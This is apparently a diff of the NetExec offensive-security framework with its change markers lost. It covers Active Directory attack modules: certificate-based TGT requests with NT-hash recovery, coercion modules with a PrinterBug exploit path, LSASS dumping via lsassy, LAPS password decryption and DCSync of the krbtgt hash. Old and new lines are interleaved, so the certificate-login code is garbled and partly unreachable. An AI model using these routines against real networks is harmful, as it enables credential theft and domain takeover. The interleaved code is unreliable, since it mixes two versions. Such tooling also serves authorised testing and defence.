self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
return False
self.logger.info(f"Requesting TGT for {username}@{domain} with the certificate")
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
tgt, cipher, reply_key, session_key = getKerberosTGTPKINIT(client_name, domain, credentials, kdcHost=self.kdcHost)
except (PKINITError, KerberosError, OSError) as e:
self.logger.fail(f"Failed to get a TGT with the certificate: {e}")
return False
ccache = CCache()
ccache.fromTGT(tgt, reply_key, session_key)
username = self.args.username[0]
basename = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache")
ccache_path = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
ccache.saveFile(ccache_path)
self.logger.info(f"Saved TGT to {ccache_path}")
log_ccache = os.path.normpath(os.path.expanduser(os.path.join(NXC_PATH, "logs", basename)))
if self.protocol == "winrm": # nxc winrm has no Kerberos login: log in over NTLM with the unPACed hash, as before
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
return bool(nthash) and self.hash_login(domain, username, nthash)
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
self.logger.info("Requesting TGT")
# Impacket reads the TGT of a Kerberos login from the cache this variable points at, for the whole process
os.environ["KRB5CCNAME"] = ccache_path
self.use_kcache = True
logged_in = self.kerberos_login(domain, username, "", "", "", self.kdcHost, True)
if not self.kdcHost:
self.logger.fail(f"Could not resolve KDC host for domain {self.domain}. Use --kdcHost to specify the domain controller IP")
return False
if self.protocol == "smb" and self.args.unpac:
nthash = unpac_the_hash(self, username, tgt, cipher, reply_key, session_key)
if nthash:
self.logger.highlight(f"{domain}\\{username} NT hash: {nthash}")
self.db.add_credential("hash", domain, username, nthash)
sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
try:
res = sock.sendrecv(req)
except Exception as e:
self.logger.fail(str(e))
return False
return logged_in
encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
ccache_minikerberos = CCACHE()
ccache_minikerberos.add_tgt(res.native, encasrep)
ccache_minikerberos.to_file(log_ccache)
self.logger.info(f"Saved TGT to file {log_ccache}")
self.logger.info(f"Using Kerberos Cache {log_ccache}")
ccache = impacket_CCache.loadFile(log_ccache)
principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
nthash = dumper.dump()
if not self.kerberos:
self.hash_login(self.domain, username, nthash)
else:
self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
self.logger.info("Successfully authenticated using Certificate")
return True
def certificate_options(args):
-21
View File
@@ -1,21 +0,0 @@
from impacket.smbconnection import SMBConnection
def get_smb_connection(context, connection, timeout=3):
"""SMB session reusing the credentials of the current connection, or None when it cannot be established.
A certificate-only bind (--schannel) leaves no secret behind, and logging in without
one would count as a bad password attempt on the target, so no session is attempted.
"""
if not connection.has_reusable_secret:
context.log.fail("Cannot open an SMB session: a certificate-only bind (--schannel) provides no password, hash or Kerberos ticket")
return None
smb = SMBConnection(remoteName=connection.remoteName, remoteHost=connection.host, sess_port=445, timeout=timeout)
if connection.kerberos:
smb.kerberosLogin(user=connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, aesKey=connection.aesKey, kdcHost=connection.kdcHost, useCache=connection.use_kcache)
elif connection.nthash or connection.lmhash:
smb.login(connection.username, "", connection.domain, lmhash=connection.lmhash, nthash=connection.nthash)
else:
smb.login(connection.username, connection.password, connection.domain)
return smb
+9 -29
View File
@@ -1,4 +1,3 @@
import ast
import nxc
import importlib
import traceback
@@ -7,7 +6,6 @@ import sys
from os import listdir
from os.path import basename, dirname
from os.path import join as path_join
from types import SimpleNamespace
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
@@ -77,9 +75,12 @@ class ModuleLoader:
return cls.module_cache[module_path]
def load_module(self, module_path):
"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
"""Load a module, initializing it and checking that it has the proper attributes"""
try:
return self.load_module_file(module_path).NXCModule()
module = self.load_module_file(module_path).NXCModule()
if self.module_is_sane(module, module_path):
return module
except Exception as e:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
@@ -131,28 +132,8 @@ class ModuleLoader:
self.logger.fail(f"Failed loading module at {module_path}: {e}")
self.logger.debug(traceback.format_exc())
def get_module_info_static(self, module_path):
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
try:
with open(module_path, "rb") as f:
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
# ast can't see what a base class or a decorator adds, so these modules are imported
if not module_class.bases and not module_class.decorator_list:
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
module = SimpleNamespace(
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
category=CATEGORY[values["category"].attr],
)
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
except Exception as e:
self.logger.debug(f"Could not read {module_path} statically: {e}")
return self.get_module_info(module_path)
def list_modules(self, names=None):
"""List modules without initializing them, only the ones in names if given"""
def list_modules(self):
"""List modules without initializing them"""
modules = {}
modules_paths = [
path_join(dirname(nxc.__file__), "modules"),
@@ -161,11 +142,10 @@ class ModuleLoader:
for path in modules_paths:
for module in listdir(path):
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
if module[-3:] == ".py" and module != "example_module.py":
try:
module_path = path_join(path, module)
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
module_data = self.get_module_info(module_path)
modules.update(module_data)
except Exception as e:
self.logger.debug(f"Error loading module {module}: {e}")
+1 -1
View File
@@ -89,7 +89,7 @@ class NXCModule:
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
elif "STATUS_LOGON_FAILURE" in str(e):
+11 -6
View File
@@ -48,13 +48,14 @@ class NXCModule:
"""DFSCOERCE START"""
try:
dfscocerceclass = DFSCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dfscocerceconnect = dfscocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -78,13 +79,14 @@ class NXCModule:
""" ShadowCoerce START """
try:
shadowcocerceclass = ShadowCoerceTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
shadowcocerceconnect = shadowcocerceclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -112,13 +114,14 @@ class NXCModule:
context.log.debug(f"Trying to connect to {pipe} pipe")
try:
petitpotamclass = PetitPotamtTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
petitpotamconnect = petitpotamclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -148,13 +151,14 @@ class NXCModule:
for pipe in pipes:
try:
printerbugclass = PrinterBugTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
printerbugconnect = printerbugclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
@@ -165,7 +169,7 @@ class NXCModule:
context.log.debug("Target is vulnerable to PrinterBug")
context.log.highlight("VULNERABLE, PrinterBug")
if self.listener is not None: # exploit
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, connection.remoteName, self.always_continue, pipe)
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
if not self.always_continue and exploit_status:
break
printerbugconnect.disconnect()
@@ -180,13 +184,14 @@ class NXCModule:
""" MSEVEN START """
try:
msevenclass = MSEvenTrigger(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
msevenconnect = msevenclass.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.remoteName,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
-8
View File
@@ -127,14 +127,6 @@ conf = {
"services": [{"name": "AcronisActiveProtectionService", "description": "Acronis Active Protection Service"}],
"pipes": []
},
{
"name": "Arctic Wolf",
"services": [
{"name": "AwWfpService", "description": "Arctic Wolf Agent Containment"},
{"name": "ArcticWolfAgentMgr", "description": "Arctic Wolf Agent Manager"}
],
"pipes": []
},
{
"name": "Avast / AVG",
"services": [
+19 -58
View File
@@ -16,6 +16,12 @@ class NXCModule:
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
context = context
self.module_options = module_options
self.cve = "all"
self.exploitation_details = False
def options(self, context, module_options):
"""
Be aware that these checks solely rely on the OS version and UBR reported in the registry,
@@ -30,22 +36,23 @@ class NXCModule:
- CVE-2024-49019 (EKUwu / ESC15)
- CVE-2026-54121 (Certighost)
- CVE-2026-27912 (ResetNightmare)
- CVE-2026-102217 (PetitPotam WebDAV coercion)
- KB5126646 (LDAP Signing Bypass, no CVE assigned)
CVE Filter for a specific CVE/KB identifier from the list above (default: All)
CVE Filter for specific CVE number (default: All)
EXPLOITATION Also provide sources for exploitation details (default: False)
"""
self.cve = module_options.get("CVE", "all").lower()
if self.cve != "all" and self.cve not in [cve.lower() for cve in self.CVE_PATCHES]:
context.log.fail(f"Unknown CVE '{module_options['CVE']}', supported identifiers: {', '.join(self.CVE_PATCHES)}")
return False
self.exploitation_details = module_options.get("EXPLOITATION", "false").lower() in ["true", "1", "yes"]
self.listener = None
if "CVE" in module_options:
self.cve = module_options["CVE"].lower()
if "EXPLOITATION" in module_options:
self.exploitation_details = module_options["EXPLOITATION"].lower() in ["true", "1", "yes"]
def is_vulnerable(self, os_key, ubr, msrc):
min_patched_ubr = msrc.get(os_key)
def is_vulnerable(self, major, minor, build, ubr, msrc):
key = (major, minor, build)
min_patched_ubr = msrc.get(key)
if min_patched_ubr is None:
return None # Unknown product
if ubr is None:
return None
return ubr < min_patched_ubr
def on_login(self, context, connection):
@@ -78,22 +85,12 @@ class NXCModule:
return
# Check each CVE
os_version = f"{connection.server_os_major}.{connection.server_os_minor}.{connection.server_os_build}"
os_key = (connection.server_os_major, connection.server_os_minor, connection.server_os_build)
if not any(os_key in entry["patches"] for entry in self.CVE_PATCHES.values()):
context.log.info(f"Build {os_version} is not listed in any check, cannot determine vulnerability status")
return
for cve in self.CVE_PATCHES:
if self.cve == "all" or self.cve.lower() == cve.lower():
if self.CVE_PATCHES[cve].get("dc_only") and not connection.is_host_dc():
context.log.info(f"Skipping {self.CVE_PATCHES[cve]['alias']} - only applicable to Domain Controllers")
continue
vulnerable = self.is_vulnerable(os_key, ubr, self.CVE_PATCHES[cve]["patches"])
if vulnerable is None:
context.log.info(f"Cannot check {self.CVE_PATCHES[cve]['alias']}: no patched UBR known for build {os_version}")
continue
if vulnerable:
if self.is_vulnerable(connection.server_os_major, connection.server_os_minor, connection.server_os_build, ubr, self.CVE_PATCHES[cve]["patches"]):
if connection.conn.isSigningRequired() and "signing_message" in self.CVE_PATCHES[cve]: # Special conditional message for some CVEs
context.log.highlight(f"{cve.upper()} - {self.CVE_PATCHES[cve]['alias']} - {self.CVE_PATCHES[cve]['signing_message']}")
else:
@@ -101,7 +98,7 @@ class NXCModule:
if self.exploitation_details:
context.log.highlight(f"Exploitation details: {self.CVE_PATCHES[cve]['exploitation']}")
else:
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'][os_key]})")
context.log.info(f"Not vulnerable to {self.CVE_PATCHES[cve]['alias']} (UBR {ubr} >= {self.CVE_PATCHES[cve]['patches'].get((connection.server_os_major, connection.server_os_minor, connection.server_os_build), 'unknown')})")
# patches: key = (major, minor, build), value = minimum patched UBR
CVE_PATCHES = {
@@ -224,40 +221,4 @@ class NXCModule:
"message": "Password reset of any account possible via Kerberos change password abuse",
"exploitation": "https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/",
},
# https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102217
"CVE-2026-102217": {
"alias": "PetitPotam WebDAV coercion",
"patches": {
(6, 2, 9200): 26434, # Windows Server 2012
(6, 3, 9600): 23470, # Windows Server 2012 R2
(10, 0, 14393): 9612, # Windows Server 2016
(10, 0, 17763): 9376, # Windows Server 2019
(10, 0, 19044): 7807, # Windows 10 21H2
(10, 0, 19045): 7807, # Windows 10 22H2
(10, 0, 20348): 5761, # Windows Server 2022
(10, 0, 22631): 7652, # Windows 11 23H2
(10, 0, 26100): 33650, # Windows Server 2025 (Win11 24H2 ships the same build patched at 9711)
(10, 0, 26200): 9711, # Windows 11 25H2
(10, 0, 26300): 9711, # Windows 11 26H2
(10, 0, 28000): 3231, # Windows 11 26H1
},
"message": "PetitPotam (EFSRPC) can coerce to a WebDAV listener, the HTTP authentication can be relayed to LDAP/LDAPS",
"exploitation": "https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient",
},
# https://support.microsoft.com/en-us/servicing/os/azure-marketplace/windows-server/2026/windows-server-images-for-october-2026
"KB5126646": {
"alias": "LDAP Signing Bypass",
"dc_only": True,
"patches": {
(6, 2, 9200): 26434, # Windows Server 2012
(6, 3, 9600): 23470, # Windows Server 2012 R2
(10, 0, 14393): 9612, # Windows Server 2016
(10, 0, 17763): 9376, # Windows Server 2019
(10, 0, 20348): 5756, # Windows Server 2022
(10, 0, 25398): 2331, # Windows Server 2022 23H2 (EOL)
(10, 0, 26100): 33648, # Windows Server 2025
},
"message": "SMB-to-LDAP NTLM relay is possible even when LDAP signature is required",
"exploitation": "https://specterops.io/blog/2026/10/23/ldap-signing-bypass-ntlm-relay/",
},
}
+4 -17
View File
@@ -198,20 +198,9 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if not ImpacketFile.delete(session, file.get_file_path()):
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
credentials = []
credentials = [cred.get_object() for cred in credentials if not cred.get_username().endswith("$")]
@@ -257,9 +246,7 @@ class NXCModule:
connection.nthash = user[1]
connection.nthash = user[1]
try:
if self.run_lsassy(context, connection, cursor) is False:
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
continue
self.run_lsassy(context, connection, cursor)
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
process_creds(
+1 -4
View File
@@ -45,15 +45,12 @@ class NXCModule:
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
msMCSAdmPwd = values["mslaps-encryptedpassword"]
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server, connection.host, connection.remoteName, connection.aesKey)
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
try:
data = d.run()
except Exception as e:
context.log.fail(str(e))
continue
if not data:
context.log.fail(f"Failed to decrypt msLAPS-EncryptedPassword for {values['samaccountname']}")
continue
r = json.loads(data)
laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
elif "mslaps-password" in values:
+13 -14
View File
@@ -89,24 +89,23 @@ class NXCModule:
context.log.fail("Unable to dump lsass")
return False
try:
parsed = Parser(host, file).parse()
finally:
# Delete the remote file even when parsing failed, and even if closing it fails
try:
file.close()
context.log.debug("Closed dumper file")
except Exception as e:
context.log.debug(f"Error closing dumper file: {e}")
if ImpacketFile.delete(session, file.get_file_path()):
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] Failed to delete lsassy dumper file: {file.get_file_path()}")
parsed = Parser(host, file).parse()
if parsed is None:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
context.log.debug(f"File path: {file_path}")
try:
deleted_file = ImpacketFile.delete(session, file_path)
if deleted_file:
context.log.debug("Deleted dumper file")
else:
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
if credentials is None:
credentials = []
+7 -134
View File
@@ -1,21 +1,10 @@
import re
import ntpath
from io import BytesIO
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
from impacket.smbconnection import SessionError
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.krb5.kerberosv5 import KerberosError
from impacket import nt_errors
class NXCModule:
"""
Module by Shutdown, Podalirius and serwiz
Module by Shutdown and Podalirius
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
Initial module:
@@ -25,16 +14,18 @@ class NXCModule:
Shutdown: @_nwodtuhs
Podalirius: @podalirius_
"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute and check SeMachineAccountPrivilege (GPO/SYSVOL)"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
@@ -43,121 +34,3 @@ class NXCModule:
return
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
self.get_SeMachineAccountPrivilege(context, connection)
def get_SeMachineAccountPrivilege(self, context, connection):
gpo_links = self.get_gpo_links(context, connection)
if not gpo_links:
context.log.debug("No enabled GPO links found for the domain and Domain Controllers OU")
return
context.log.debug(f"gPLink parsed: {gpo_links}")
try:
smb = get_smb_connection(context, connection)
except (OSError, SessionError, NetBIOSError, NetBIOSTimeout, KerberosError) as e:
context.log.fail(f"Unable to connect to SYSVOL through SMB: {e}")
return
if not smb:
return
context.log.display("Getting SeMachineAccountPrivilege")
try:
for link in gpo_links:
guid = link["guid"]
gpo_name = self.resolve_gpo(connection, guid) or f"{{{guid}}}"
# Accessing the GPO in the SYSVOL share to parse GptTmpl.inf
path = ntpath.join(connection.targetDomain, "Policies", f"{{{guid}}}", "MACHINE", "Microsoft", "Windows NT", "SecEdit", "GptTmpl.inf")
try:
buf = BytesIO()
smb.getFile("SYSVOL", path, buf.write)
GptTmpl = buf.getvalue().decode("utf-16le")
except SessionError as e:
if e.getErrorCode() in (nt_errors.STATUS_NO_SUCH_FILE, nt_errors.STATUS_OBJECT_NAME_NOT_FOUND, nt_errors.STATUS_OBJECT_PATH_NOT_FOUND):
context.log.debug(f"No GptTmpl.inf for GPO {guid}")
else:
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.fail(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}] not readable ({e.getErrorString()[0]}), result may be incomplete')
continue
except (OSError, NetBIOSError, NetBIOSTimeout, UnicodeError) as e:
context.log.fail(f"Unable to read {path}: {e}")
continue
# An absent setting inherits; an explicitly empty assignment overrides.
for line in GptTmpl.splitlines():
match = re.match(r"^\s*SeMachineAccountPrivilege\s*=(.*)$", line.lstrip("\ufeff"))
if match:
value = match.group(1).strip()
break
else:
context.log.debug(f"SeMachineAccountPrivilege not in {path}")
continue
enforced_str = ", Enforced" if link["enforced"] else ""
context.log.success(f'(GPO) "{gpo_name}" [DN: {link["scope_dn"]}] [Link order: {link["link_order"]}{enforced_str}]')
context.log.info(f"\t{line.strip()}")
if not value:
context.log.highlight("SeMachineAccountPrivilege explicitly assigned to nobody")
continue
principals = [principal.strip() for principal in value.split(",") if principal.strip()]
for principal in principals:
match = re.fullmatch(r"\*?(S-\d+(?:-\d+)+)", principal)
if not match:
context.log.highlight(f'\t\t - "{principal}"')
continue
sid = match.group(1)
if sid in WELL_KNOWN_SIDS:
context.log.highlight(f'\t\t - "{WELL_KNOWN_SIDS[sid]}" ({sid})')
continue
resp = connection.search(searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"])
entries = parse_result_attributes(resp)
if entries and entries[0].get("sAMAccountName"):
context.log.highlight(f'\t\t - "{entries[0]["sAMAccountName"]}" ({sid})')
else:
context.log.highlight(f"\t\t - {sid} (unresolved)")
finally:
smb.logoff()
def get_gpo_links(self, context, connection):
ou_dn = f"OU=Domain Controllers,{connection.baseDN}"
gpo_links = []
block_inheritance = False
for scope_dn in (ou_dn, connection.baseDN):
ldap_response = connection.search(searchFilter=f"(distinguishedName={scope_dn})", baseDN=scope_dn, attributes=["gPLink", "gPOptions"])
entries = parse_result_attributes(ldap_response)
if not entries:
context.log.fail(f"Unable to read GPO links for {scope_dn}")
return []
if scope_dn == ou_dn:
block_inheritance = bool(int(entries[0].get("gPOptions") or 0) & 0x1)
for link in self.parse_gplink(entries[0].get("gPLink") or ""):
if link["disabled"]:
context.log.debug(f'GPO link {link["guid"]} disabled, skipping')
continue
if scope_dn == connection.baseDN and block_inheritance and not link["enforced"]:
context.log.debug(f'GPO link {link["guid"]} blocked by inheritance, skipping')
continue
link["scope_dn"] = scope_dn
# Enforced domain, enforced OU, normal OU, then normal domain links.
link["priority"] = (0 if scope_dn == connection.baseDN else 1) if link["enforced"] else (2 if scope_dn == ou_dn else 3)
gpo_links.append(link)
return sorted(gpo_links, key=lambda link: (link["priority"], link["link_order"]))
def resolve_gpo(self, connection, guid):
resp = connection.search(baseDN=f"CN=Policies,CN=System,{connection.baseDN}", searchFilter=f"(&(objectClass=groupPolicyContainer)(name={{{guid}}}))", attributes=["displayName", "name"])
results = parse_result_attributes(resp)
if not results:
return ""
return results[0].get("displayName") or results[0].get("name") or ""
def parse_gplink(self, gplink):
raw_entries = re.findall(r"(?i)\[LDAP://cn=\{([0-9a-f\-]{36})\}[^;\]]*;(\d+)\]", gplink)
parsed = []
# Number every link, including disabled links (last listed = order 1).
for link_order, (guid, flags_str) in enumerate(reversed(raw_entries), 1):
flags = int(flags_str)
parsed.append({"guid": guid, "flags": flags, "disabled": bool(flags & 0x1), "enforced": bool(flags & 0x2), "link_order": link_order})
return parsed
+1 -1
View File
@@ -39,7 +39,7 @@ class NXCModule:
self.FILE_PATH_REGEX = r"^[A-Za-z]:\\(?:[^<>:\"/\\|?*]+\\)*[^<>:\"/\\|?*]+\.[\w]{1,5}$"
def options(self, context, module_options):
"""KILL Kill for notepad.exe process. Default: False"""
"""KILL // Kill for notepad.exe process. Default False."""
if "KILL" not in module_options:
self.kill = False
else:
+5 -47
View File
@@ -1,5 +1,4 @@
import re
from types import SimpleNamespace
from impacket.dcerpc.v5 import samr, tsch
from impacket.dcerpc.v5 import tsts as TSTS
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
@@ -21,46 +20,11 @@ class NXCModule:
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
ALTUSER Alternative domain user to enumerate admin groups with
ALTPASS Password for ALTUSER
ALTDOMAIN Domain FQDN of the alternative credentials
ALTDC DC IP
When alternative credentials are supplied, Domain and Enterprise Admins are enumerated over SAMR against the DC using those credentials, rather than the local administrator session (which cannot enumerate these groups).
"""
self.altuser = module_options.get("ALTUSER")
self.altpass = module_options.get("ALTPASS")
self.altdomain = module_options.get("ALTDOMAIN")
self.altdc = module_options.get("ALTDC")
alt_creds = [self.altuser, self.altpass, self.altdomain]
if any(alt_creds) and not all(alt_creds):
context.log.fail("ALTUSER, ALTPASS, and ALTDOMAIN must be specified together")
return False
"""There are no module options."""
def on_admin_login(self, context, connection):
try:
if self.altuser and self.altpass and self.altdomain:
context.log.info(f"Using alternative domain credentials: {self.altdomain}\\{self.altuser}")
alt_connection = SimpleNamespace(
username=self.altuser,
password=self.altpass,
domain=self.altdomain,
lmhash="",
nthash="",
aesKey=None,
kerberos=False,
kdcHost=self.altdc,
conn=None,
host=self.altdc,
remoteName=self.altdc,
port=445,
)
admin_users = self.enumerate_admin_users(context, alt_connection)
else:
admin_users = self.enumerate_admin_users(context, connection)
admin_users = self.enumerate_admin_users(context, connection)
if not admin_users:
context.log.fail("No admin users found.")
return
@@ -184,18 +148,12 @@ class NXCModule:
context.log.debug(f"Enumerated {len(processes)} processes on {connection.host}")
for process in processes:
info = process.getProcessInfo()
image_name = info["ImageName"].getValue()
pid = info["UniqueProcessId"]
session_id = info["SessionId"]
psid = process.getSid()
context.log.debug(f"ImageName: {image_name}, UniqueProcessId: {pid}, SessionId: {session_id}, pSid: {psid}")
context.log.debug(f"ImageName: {process['ImageName']}, UniqueProcessId: {process['SessionId']}, pSid: {process['pSid']}")
# Check if process SID matches any admin user SID
for user in admin_users:
if psid == user["sid"]:
if process["pSid"] == user["sid"]:
user["in_tasks"] = True
context.log.info(f"Matched process {image_name} with user {user['username']}")
context.log.info(f"Matched process {process['ImageName']} with user {user['username']}")
def check_scheduled_tasks(self, context, connection, admin_users):
"""Checks scheduled tasks over rpc."""
+29 -5
View File
@@ -2,6 +2,7 @@ import os
import datetime
import re
from contextlib import suppress
from impacket.smbconnection import SMBConnection
from impacket.examples.secretsdump import RemoteOperations, NTDSHashes
from impacket.dcerpc.v5.drsuapi import DCERPCSessionError
from calendar import timegm
@@ -19,7 +20,6 @@ from impacket.dcerpc.v5.samr import GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GRO
from impacket.dcerpc.v5.dtypes import SID, RPC_SID, NULL
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
from nxc.helpers.smb import get_smb_connection
# Encryption type configurations: enctype, checksum, signature size, session key size
ETYPE_CONFIG = {
@@ -133,6 +133,32 @@ class NXCModule:
else:
self.context.log.fail("Could not retrieve child domain SID from connection.")
def _get_smb_session(self, ldap_conn):
smb = SMBConnection(
remoteName=ldap_conn.hostname,
remoteHost=ldap_conn.host,
sess_port=445,
)
if ldap_conn.kerberos:
smb.kerberosLogin(
user=ldap_conn.username,
password=ldap_conn.password,
domain=ldap_conn.domain,
lmhash=ldap_conn.lmhash,
nthash=ldap_conn.nthash,
aesKey=ldap_conn.aesKey,
kdcHost=ldap_conn.kdcHost,
useCache=ldap_conn.use_kcache,
)
elif ldap_conn.nthash or ldap_conn.lmhash:
# NTLM pass-the-hash
smb.login(ldap_conn.username, "", ldap_conn.domain, lmhash=ldap_conn.lmhash, nthash=ldap_conn.nthash)
else:
# NTLM with cleartext password
smb.login(ldap_conn.username, ldap_conn.password, ldap_conn.domain)
return smb
def _get_domain_netbios(self, ldap_conn):
resp = ldap_conn.search(
baseDN=f"CN=Partitions,{ldap_conn.configuration_context}",
@@ -199,13 +225,11 @@ class NXCModule:
def get_krbtgt_hash(self, connection):
try:
smb_conn = get_smb_connection(self.context, connection)
smb_conn = self._get_smb_session(connection)
self._dcsync_krbtgt(smb_conn, connection)
except Exception as e:
self.context.log.fail(f"Error during DCSync: {e}")
return
if not smb_conn:
return
self._dcsync_krbtgt(smb_conn, connection)
if (self.etype == "rc4" and self.krbtgt_hash) or (self.etype == "aes128" and self.aes128_key) or (self.etype == "aes256" and self.aes256_key):
try:
-2
View File
@@ -232,7 +232,6 @@ class RdpWmi:
